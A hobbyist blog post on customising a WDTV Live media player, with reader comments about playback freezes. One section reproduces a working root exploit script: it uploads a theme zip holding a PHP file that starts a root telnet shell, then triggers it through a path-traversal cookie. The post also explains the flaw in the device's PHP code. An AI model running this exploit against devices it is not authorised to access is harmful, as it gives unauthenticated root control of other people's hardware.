Hacking the WDTV Live Streaming Media Player

I recently bought a Western Digital Streaming Media Player – it’s a very capable little player for the money, but I think you have to smarter than the average bear to get the best out of it.

There an active project over at wdlxtv.com to produce some alternative firmware for the device. This is only partially supported by my device, so I’ve avoided using it for now.

So, I’ve found myself probing this thing to see what interesting things I could do with it. Here’s what you can expect from the rest of this post

All of this is based on the firmware release 1.12.14 (31 Oct 2012) – use this information at your own risk!


Media Library creates SQLite databases

If you enable the media library feature of the device, it will create an SQLite database on each volume you attach. I’ve got all my media on a NAS, and it creates a .wd_tv folder there. In it you’ll find a file with a .cas2 extension which is simply an SQLite database. You can explore that with the sqlite3 command line tool, or use a scripting language like Perl or PHP to explore it.

After realizing I could write a better web-based interface for browsing my media, I began to wonder: once I found a film I watched to watch, how could I tell the WDTV to play it?


Remote control

There’s a very simple API for sending simulated commands from the remote control – it involves POSTing a little JSON fragment to a CGI script on the box. You can observe the protocol simply by using the web based remote provided by the built-in web UI. As an illustration, here’s how you transmit a ‘left’ button:


curl -s -d '{"remote":"l"}' -v http://your.wdtv.ip/cgi-bin/toServerValue.cgi

I thought I might be able to send a sequence of commands to return to the main menu and then search for the target video and play it. I didn’t get far with this approach, as there’s no way to figure out what state the OSD is in. (EDIT: since writing that, I’ve figured out a way of doing this – you can configure one of the remote buttons to take you to ‘video’ or ‘music’, and from there you can hit the ‘search’ button to find a target item)


Getting inside

So, it was time to see how we could get inside. Dr. Alberto Fontanella documented one vulnerability in the remote control CGI script that allowed root level code execution. I wasn’t able to exploit this, so I suspect that has been patched in my Oct 2012 firmware.

Another vulnerability documented by Wolfgang Borst proved more fruitful. It allows you to trick the box into spawning a root level telnet daemon. I made some minor syntax corrections to his original script, copied below:

#!/bin/sh
THEME_NAME="blub"
 
if [ $# != 1 ]; then
  TARGET="orpheus"
  echo "Root Exploit for WDTV Live SMP\n\nUsing default
target=${TARGET}\nUSAGE: $0 \n\n"
else
  TARGET=$1
fi
 
if [ ! -f "home.php" ]; then
  echo '<?php system("telnetd -l /bin/sh");print "\ntelnet daemon launched!.\n\n";exit();' > home.php
fi
 
if [ ! -f "${THEME_NAME}.zip" ]; then
  touch meta.xml
  zip ${THEME_NAME} home.php meta.xml
fi
 
echo "Uploading ${THEME_NAME}.zip:"
curl -F "appearance=@${THEME_NAME}.zip" -o /dev/null http://${TARGET}/upload.php
 
echo "\n\nRunning payload:"
curl --cookie "language=../../../../usrdata/.wd_tv/theme/${THEME_NAME}" http://${TARGET}/index.php

This exploits a flaw in the PHP code on the device which trusts cookie values. /webserver/htdocs/index.php on the device contains this fragment

$get_language=$_COOKIE['language'];
if($get_language==''){
    include 'local/0/home.php';
}else{
    include 'local/'.$get_language.'/home.php';
}

We can craft a cookie that will let us include our own PHP on a different path, as long as we call it home.php. The web interface supports uploading a theme, so all we need to do is put our home.php in an otherwise plausible theme zipfile, and then craft a cookie value to cause it to be used.

As the webserver runs as root, our home.php file can do whatever we like – in this case, starting telnetd.

Bottom line – give this script the IP address of your unit and within moments you’ll be able to telnet right in there as root.

So what can we do?

First, I wanted to see what I do could with the built in webserver. This runs from a read-only filesystem with a document root of /webserver/htdocs – here’s what I found there


/webserver/htdocs # ls -la /webserver/htdocs/
drwxrwxr-x 9 1007 1007 744 Oct 24 03:51 .
drwxrwxr-x 11 1007 1007 109 Oct 24 03:51 ..
drwxrwxr-x 2 1007 1007 128 Oct 24 03:51 DB
-rw-rw-r-- 1 1007 1007 26395 Oct 12 10:06 Main.php
-rw-rw-r-- 1 1007 1007 3018 Oct 12 10:06 Support.php
-rw-rw-r-- 1 1007 1007 1769 Oct 12 10:06 appearance.php
-rw-rw-r-- 1 1007 1007 1390 Oct 12 10:06 device_name.php
-rw-rw-r-- 1 1007 1007 1406 Oct 12 10:06 favicon.ico
-rw-rw-r-- 1 1007 1007 95 Oct 12 10:06 file_exists.php
lrwxrwxrwx 1 1007 1007 10 Oct 12 10:06 image -> /osd/image
-rw-r--r-- 1 1007 1007 44 Nov 20 2004 index.html
-rw-rw-r-- 1 1007 1007 8372 Oct 12 10:06 index.php
drwxrwxr-x 3 1007 1007 473 Oct 24 03:51 js
drwxrwxr-x 23 1007 1007 167 Oct 24 03:51 local
-rw-rw-r-- 1 1007 1007 2305 Oct 12 10:06 madia_itune.php
-rw-rw-r-- 1 1007 1007 2740 Oct 12 10:06 madia_twonky.php
-rw-rw-r-- 1 1007 1007 2244 Oct 12 10:06 network_lan.php
-rw-rw-r-- 1 1007 1007 1133 Oct 12 10:06 online_Blockbuster.php
-rw-rw-r-- 1 1007 1007 1039 Oct 12 10:06 online_CinemaNow.php
-rw-rw-r-- 1 1007 1007 1019 Oct 12 10:06 online_MLBTV.php
-rw-rw-r-- 1 1007 1007 1254 Oct 12 10:06 online_Mediafly.php
-rw-rw-r-- 1 1007 1007 1122 Oct 12 10:06 online_Netflix.php
-rw-rw-r-- 1 1007 1007 1238 Oct 12 10:06 online_Pandora.php
-rw-rw-r-- 1 1007 1007 1150 Oct 12 10:06 online_Spotify.php
-rw-rw-r-- 1 1007 1007 1014 Oct 12 10:06 online_hulu.php
-rw-rw-r-- 1 1007 1007 1244 Oct 12 10:06 online_live365.php
-rw-rw-r-- 1 1007 1007 202844 Oct 12 10:06 pclzip.lib.php
-rw-rw-r-- 1 1007 1007 10051 Oct 12 10:06 remote.html
-rw-rw-r-- 1 1007 1007 10340 Oct 12 10:06 remote_small.html
-rw-rw-r-- 1 1007 1007 2435 Oct 12 10:06 rewrite_xml_file.php
-rw-rw-r-- 1 1007 1007 2510 Oct 12 10:06 rss.php
-rw-rw-r-- 1 1007 1007 1263 Oct 12 10:06 search.php
-rw-rw-r-- 1 1007 1007 1804 Oct 12 10:06 security.php
-rw-rw-r-- 1 1007 1007 1632 Oct 12 10:06 storage_status.php
-rw-rw-r-- 1 1007 1007 10030 Oct 12 10:06 system_ntp.php
-rw-rw-r-- 1 1007 1007 1691 Oct 12 10:06 system_password.php
-rw-rw-r-- 1 1007 1007 142 Oct 12 10:06 test.php
drwxrwxr-x 3 1007 1007 21 Oct 24 03:51 tmp
-rw-rw-r-- 1 1007 1007 3211 Oct 12 10:06 upload.php
lrwxrwxrwx 1 1007 1007 32 Oct 24 03:49 user -> /tmp/media/usb/Local/WDTVLiveHub
drwxrwxr-x 8 1007 1007 298 Oct 24 03:51 wd_nas
drwxrwxr-x 3 1007 1007 23 Oct 24 03:51 wdtvlive
drwxrwxr-x 3 1007 1007 23 Oct 24 03:51 wdtvlivehub

Lots to explore there, but the first thing I noticed was the user symlink – this gives us an opportunity to have our own PHP files served by local webserver. All we need to do is create an appropriate symlink in /tmp/media/usb/Local pointing at some storage we control, either a mounted USB drive or remote Samba volume.

The other interesting thing is that apache runs as root. This is how the exploit was able to create a telnet daemon. This means that our own php code will be able to do anything we want too.


Where’s the queue stored?

One way of linking an alternative browsing UI with the unit would be if we could add a selected video to the queue. I found the queue lurking in an sqlite3 database in /usrdata/app/db/user_data.cas

This database has a userplaylist table with the following schema

CREATE TABLE userplaylist(
id INTEGER primary key autoincrement,
slot INTEGER,
pls_id UNSIGNED INTEGER,
mediaclass UNSIGNED INTEGER,
group_name VARCHAR(256),
browse_id VARCHAR(768),
parent_id VARCHAR(768), 
thumbnail VARCHAR(768),
display_name VARCHAR(256),
udn VARCHAR(768),
name VARCHAR(256),
folder VARCHAR(768),
uri VARCHAR(768), 
protocolinfo VARCHAR(128),
mimetype VARCHAR(128),  
from_table VARCHAR(128), 
from_db VARCHAR(128)
);

so – now we can create a PHP file which runs on the device and which will update this database with a chosen video file.


Improving movie pages with XML

I discovered this by accident though I’m sure it’s well documented somewhere. After pointing the device at some movie files, I noticed it created some extra metadata files for one of the movies. I believe it will do this only when it can find a single movie that matches the movie filename. In my case, it was Hugo.

When I looked at Hugo on my TV via the device, it rendered a really nice page for the film, with background art, cover art and file metadata. I found with a bit of Perl scripting, it was possible to create my own XML files for all the videos the device was unable to identify.

The XML itself is pretty straightforward. Here’s how it looked for Hugo


<?xml version="1.0" encoding="UTF-8"?>
<details>
<id>44826</id>
<imdb_id>tt0970179</imdb_id>
<title>Hugo</title>
<mpaa>PG</mpaa>
<year>2011-10-10</year>
<runtime>126</runtime>
<rating>7.5</rating>
<trailer>http://www.youtube.com/watch?v=UGTfCw1x98A</trailer>
<genre>Adventure</genre>
<genre>Fantasy</genre>
<genre>Drama</genre>
<genre>Mystery</genre>
<genre>Family</genre>
<studio>Paramount Pictures</studio>
<studio>GK Films</studio>
<studio>Infinitum Nihil</studio>
<plot>Set in 1930s Paris, an orphan who lives in the walls of a train station is wrapped up in a mystery involving his late father and a robot.</plot>
<overview>Set in 1930s Paris, an orphan who lives in the walls of a train station is wrapped up in a mystery involving his late father and a robot.</overview>
<director>Martin Scorsese</director>
<actor>
<name>Asa Butterfield</name>
<role>Hugo Cabret</role>
</actor>
<actor>
<name>Chloe Grace Moretz</name>
<role>Isabelle</role>
</actor>
<actor>
<name>Ben Kingsley</name>
<role>Georges Méliès</role>
</actor>
<actor>
<name>Sacha Baron Cohen</name>
<role>The Station Inspector</role>
</actor>
<actor>
<name>Jude Law</name>
<role>Hugo's Father</role>
</actor>
<actor>
<name>Christopher Lee</name>
<role>Monsieur Labisse</role>
</actor>
<actor>
<name>Helen McCrory</name>
<role>Mama Jeanne</role>
</actor>
<actor>
<name>Michael Stuhlbarg</name>
<role>Rene Rabard</role>
</actor>
<actor>
<name>Marco Aponte</name>
<role>Julien Carette</role>
</actor>
<actor>
<name>Emily Mortimer</name>
<role>Lisette</role>
</actor>
<actor>
<name>Johnny Depp</name>
<role>M. Rouleau</role>
</actor>
<actor>
<name>Ray Winstone</name>
<role>Uncle Claude</role>
</actor>
<actor>
<name>Frances de la Tour</name>
<role>Madame Emilie</role>
</actor>
<actor>
<name>Richard Griffiths</name>
<role>Monsieur Frick</role>
</actor>
<url cache="tmdb-.xml" function="GetTMDBThumbsById"></url>
<thumbnail>http://cf2.imgobject.com/t/p/w185/fkeaJr29ypea1n24gzspsc7qK44.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/1swJznQwbY1e6n66Ki2upJuGnD1.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/8jshZcJ8O27YiueaGTfD1uhk9AA.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/vTeTmZBmgNRYz2zbOVdZBsO2hao.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/A6ESDzrwgMBiyRGUwKwhsbuwMDB.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/6JWI2i4ROxN2mm1tWhv5THBpeYy.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/xAOFs8QYN2FQJU4FKvxCjMDj7Cu.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/r5F5viZBjBzT8wiVIcdnnnNCDHk.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/hUK5us2q8oPXPFnA9PouIBaXqXB.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/tvIDrAZQNAW6TgThFMlHyqDnSxc.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/EGf1SrazxMZZfKtQSHZoAmker2.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/hqYRcBXfHn7hUV47n9GKLvmIB4V.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/7Sl3iDAOM8wwUcZkpXl5J9oi0BF.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/fKSbfgNNg3ljSssQ2ZM8j5BTa2I.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/blsiMue6pNYDJLmUWx3H2pvT8Wh.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/fLwQ6awGMIHeivXdVBeIYmVm5Eu.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/5OQWNRJXNinXFjPctiHM0yqX7sE.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/7SKxcov0koSqgyG2XzSUQ03zJ9e.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/i91xS1yk64qZCTNDI0ZKX1oU8L.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/hTdBqWFhWDALDcCYPRmvUYadBc3.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/lILBnQbRoEBUq4C8Wdq8kuc9rmr.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/wGmVmF1QSKM8Bys08dFfFXRqTMH.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/83V2bgOvT6u5Zq7nX8YO9xtgvlF.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/sm88sD2rQLrmvgEh5YHwLQsXYKT.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/jmnUP5ILAKek2HrEzYQ3C9N7BTr.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/cdf0emqSmoY0oA2LywCvznD7Gdm.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/7PT9QN3mko22VlMmWHqCsBHiCkf.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/jOGSj0JH3uEY8OxQYukanjq9Nim.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/fAUmwmaVzZI6TPJ7QmgtDqy6tJa.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/yNnjOVJz8C82aMFJj41abKaKG4U.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/xT6TPQB0uqGmwyiPjnHdFPiWnBC.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/cd8rhy97LIv8d8Qa8KH4neQMAre.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/kZCBb5YMOlwdbV6rogPe7qyyfk4.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/7ddFGF5hygGWuNSrPJo2jhLBHqn.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/xaOjz99R7W3y5tIu5dwTDbNXNId.jpg</thumbnail>
<thumbnail>http://cf2.imgobject.com/t/p/w185/As96uDPUbcHieVd9JctoX47l3T1.jpg</thumbnail>
<backdrop>http://cf2.imgobject.com/t/p/w780/ehtX3oZaDdYPMVqfeXiZ7P9Iqu2.jpg</backdrop>
<backdrop>http://cf2.imgobject.com/t/p/w780/jc3qQh8FV2YOJc8z7JQlXmv33Zs.jpg</backdrop>
<backdrop>http://cf2.imgobject.com/t/p/w780/AdYjc68mGCXCbXOk7jLnLvYxgIe.jpg</backdrop>
<backdrop>http://cf2.imgobject.com/t/p/w780/gcuTuh4aya3XBqry03Tfr1PGgap.jpg</backdrop>
<backdrop>http://cf2.imgobject.com/t/p/w780/8n6xU5lgaI7HDZVXJWSjmN8j1d1.jpg</backdrop>
<backdrop>http://cf2.imgobject.com/t/p/w780/enCdiSLfSTRpeoOIXDBSQPMzL6z.jpg</backdrop>
<backdrop>http://cf2.imgobject.com/t/p/w780/oxBg2YxjgZAEie7nWMXFn1daePC.jpg</backdrop>
<backdrop>http://cf2.imgobject.com/t/p/w780/2xWZobgjr6SI6hHA5sz0neFBQV3.jpg</backdrop>
<backdrop>http://cf2.imgobject.com/t/p/w780/gMfDUtaVOG3J9qAf9DmB2cft3Hs.jpg</backdrop>
<backdrop>http://cf2.imgobject.com/t/p/w780/aRuP1wzVIbqE7ydKKeq9gvJIH1p.jpg</backdrop>
<backdrop>http://cf2.imgobject.com/t/p/w780/5Y1WTlgoMzb04dCTtXHUvACPZiV.jpg</backdrop>
<backdrop>http://cf2.imgobject.com/t/p/w780/rWuXhDICQeW9hY5RwkN8tq4EM3M.jpg</backdrop>
<backdrop>http://cf2.imgobject.com/t/p/w780/pMsMygJBtGqXFfQUwHnDne0Fj3q.jpg</backdrop>
<backdrop>http://cf2.imgobject.com/t/p/w780/cZ2CfYdFgqZoGy39D5Jp7doDXUH.jpg</backdrop>
<backdrop>http://cf2.imgobject.com/t/p/w780/hIPyLCgWfD0VjtghzJb60lBOt0s.jpg</backdrop>
<backdrop>http://cf2.imgobject.com/t/p/w780/mAXgaPxxUQg6U446yz8KPRYSUT.jpg</backdrop>
<backdrop>http://cf2.imgobject.com/t/p/w780/7Ctg9IG7zt1woqfgitfpW3W9Aye.jpg</backdrop>
<backdrop>http://cf2.imgobject.com/t/p/w780/7zpEn0L7eGTH2Dks4U3C3JODiTm.jpg</backdrop>
<backdrop>http://cf2.imgobject.com/t/p/w780/6m9B3MzkjVM8ekjOVNR43gVZOWN.jpg</backdrop>
<backdrop>http://cf2.imgobject.com/t/p/w780/pIHlevKOiSUO07WCF4v6772uT1A.jpg</backdrop>
</details>

The data comes from themoviedb.org. They have an API you can use to search for this kind of data. I used a Perl TMDB library to quickly write a script that would search for a movie and let you pick the most appropriate match before writing the necessary XML.

7 thoughts on “Hacking the WDTV Live Streaming Media Player

  1. Roger Mukai

    I’ve tried to get WD to help with this, perhaps you folks might shed some light. I have a WD Live, latest firmware, but; I’ve reverted to 6-back copies of the firmware, and; the issue I have seems independent of the firmware all together. I’ve seen posts at the WD Support site, but nobody appears to know why this happens. The issue: The player “FREEZES” during playback -and- also during other activities (like browsing the attached storage, or changing options. The “FREEZE” lasts approximately 20-seconds, then the device resumes normal operation. When playing a movie, the “20-seconds” which were frozen, are RUSHED through by the video player, like it is trying to “catch up” where it was supposed to be. As a software developer, the “appearance” I believe is that this is happening at either the HARDWARE level, or the KERNEL level. Because the freeze doesn’t seem to care what is actually going on.

    Is there anyway that anyone knows (a) why this happens, and (b) how to prevent it?

    Thank you in advance,

    Roger Mukai

  2. joan

    Nice exploit on that cookie glitch.. what a fail to trust a cookie’s content so blindly though..
    Thanks for the highly entertaining post.

  3. Vic

    @Roger Mukai. I had this issue, and another where the player would randomly reboot. Turns out that it was the wireless that was trying to connect, even though it had nothing to connect to. (I was in a hotel and it saw the wifi, which I could not connect to since it was hotel wifi and required a login)

    Long story short, I disabled wifi and it started working as I expected.

    hth
    Vic

  4. Ken

    @Roger Mukai: I’ve seen this happen on my WDTV as well, and I know what causes it on mine: the file you’re requesting/reading is temporarily unavailable on the network. Could be that whatever computer you’re serving the video from tore down and brought back up its SMB/NFS share, or there was a network glitch, etc.

    Same goes for the menus. If I happen to browse to a folder that’s on a spun-down disk, it will freeze for 20 seconds or so while the disk spins up and the sever OS finally makes the files available.

    In short: I think it’s a remote network/server problem on your network, not a WDTV problem.

  5. Scott

    Hi folks,

    I’ve also had the freezing / random reboot issue. I solved it after finding a posting on one of the WDTV forums about having a UPNP server running on the same network causing issues. I forgot that I was still running PS3 Media Server, and as soon as I disabled that, the issue was resolved completely for me.

    Hopefully this helps some of you as well.

Comments are closed.